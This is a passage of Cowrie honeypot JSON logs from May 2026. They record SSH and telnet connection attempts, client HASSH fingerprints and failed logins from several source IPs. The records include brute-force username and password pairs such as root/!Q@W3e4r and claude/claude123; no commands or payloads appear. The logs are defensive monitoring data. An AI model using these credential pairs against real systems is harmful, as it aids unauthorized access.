0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:28.675295Z","src_ip":"45.156.87.204","session":"7b75a65e3e72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:29.269838Z","src_ip":"45.156.87.204","session":"7b75a65e3e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:29.341660Z","src_ip":"170.106.151.211","session":"42d7a8b32624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37780,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe04407c0907","protocol":"telnet","message":"New connection: 152.42.224.71:37780 (10.17.0.5:23) [session: fe04407c0907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:29.765235Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39916,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7a8857ba915","protocol":"ssh","message":"New connection: 103.82.132.16:39916 (159.203.135.109:22) [session: b7a8857ba915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:30.179768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:30.184604Z","src_ip":"103.82.132.16","session":"b7a8857ba915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37796,"dst_ip":"10.17.0.5","dst_port":23,"session":"493e4a79d072","protocol":"telnet","message":"New connection: 152.42.224.71:37796 (10.17.0.5:23) [session: 493e4a79d072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:30.255426Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:30.356455Z","src_ip":"45.156.87.204","session":"7b75a65e3e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:30.454121Z","src_ip":"103.82.132.16","session":"b7a8857ba915","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dfcbkbcf","message":"login attempt [root/dfcbkbcf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:31.263798Z","src_ip":"103.82.132.16","session":"b7a8857ba915","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37812,"dst_ip":"10.17.0.5","dst_port":23,"session":"f22d9ef56b69","protocol":"telnet","message":"New connection: 152.42.224.71:37812 (10.17.0.5:23) [session: f22d9ef56b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:31.301986Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":40990,"dst_ip":"159.203.135.109","dst_port":22,"session":"a796e1c21d59","protocol":"ssh","message":"New connection: 45.156.87.204:40990 (159.203.135.109:22) [session: a796e1c21d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:32.458764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:32.465156Z","src_ip":"45.156.87.204","session":"a796e1c21d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:32.536406Z","src_ip":"103.82.132.16","session":"b7a8857ba915","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:32.543641Z","src_ip":"45.156.87.204","session":"a796e1c21d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:32.863820Z","src_ip":"45.156.87.204","session":"a796e1c21d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:34.023762Z","src_ip":"45.156.87.204","session":"a796e1c21d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":36522,"dst_ip":"159.203.135.109","dst_port":22,"session":"2469237bae27","protocol":"ssh","message":"New connection: 47.237.167.49:36522 (159.203.135.109:22) [session: 2469237bae27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:34.192917Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41004,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d9fd10daaf7","protocol":"ssh","message":"New connection: 45.156.87.204:41004 (159.203.135.109:22) [session: 8d9fd10daaf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:36.056015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:36.060610Z","src_ip":"45.156.87.204","session":"8d9fd10daaf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:36.142758Z","src_ip":"45.156.87.204","session":"8d9fd10daaf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:36.634493Z","src_ip":"45.156.87.204","session":"8d9fd10daaf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:37.721602Z","src_ip":"45.156.87.204","session":"8d9fd10daaf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41006,"dst_ip":"159.203.135.109","dst_port":22,"session":"5310e10b6328","protocol":"ssh","message":"New connection: 45.156.87.204:41006 (159.203.135.109:22) [session: 5310e10b6328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:39.800081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:39.804317Z","src_ip":"45.156.87.204","session":"5310e10b6328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51498,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d03a1833253","protocol":"telnet","message":"New connection: 152.42.224.71:51498 (10.17.0.5:23) [session: 6d03a1833253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:39.871809Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:39.885693Z","src_ip":"45.156.87.204","session":"5310e10b6328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:40.253205Z","src_ip":"45.156.87.204","session":"5310e10b6328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51512,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa5ec95bc90","protocol":"telnet","message":"New connection: 152.42.224.71:51512 (10.17.0.5:23) [session: 4fa5ec95bc90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:40.971153Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:41.338536Z","src_ip":"45.156.87.204","session":"5310e10b6328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":46746,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b2d34bb51ad","protocol":"ssh","message":"New connection: 124.155.125.131:46746 (159.203.135.109:22) [session: 8b2d34bb51ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:41.392604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:41.399921Z","src_ip":"124.155.125.131","session":"8b2d34bb51ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:41.574755Z","src_ip":"124.155.125.131","session":"8b2d34bb51ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"1234","message":"login attempt [vpn/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:42.307156Z","src_ip":"124.155.125.131","session":"8b2d34bb51ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54228,"dst_ip":"159.203.135.109","dst_port":22,"session":"c52b102b88de","protocol":"ssh","message":"New connection: 45.156.87.204:54228 (159.203.135.109:22) [session: c52b102b88de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:43.452232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:43.456711Z","src_ip":"45.156.87.204","session":"c52b102b88de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:43.484643Z","src_ip":"124.155.125.131","session":"8b2d34bb51ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:43.540476Z","src_ip":"45.156.87.204","session":"c52b102b88de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:43.787770Z","src_ip":"45.156.87.204","session":"c52b102b88de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:44.873419Z","src_ip":"45.156.87.204","session":"c52b102b88de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54238,"dst_ip":"159.203.135.109","dst_port":22,"session":"97438fdae360","protocol":"ssh","message":"New connection: 45.156.87.204:54238 (159.203.135.109:22) [session: 97438fdae360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:47.219886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:47.258117Z","src_ip":"45.156.87.204","session":"97438fdae360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:47.344728Z","src_ip":"45.156.87.204","session":"97438fdae360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:47.662829Z","src_ip":"45.156.87.204","session":"97438fdae360","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:49:47.849855Z","src_ip":"47.237.167.49","session":"2469237bae27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-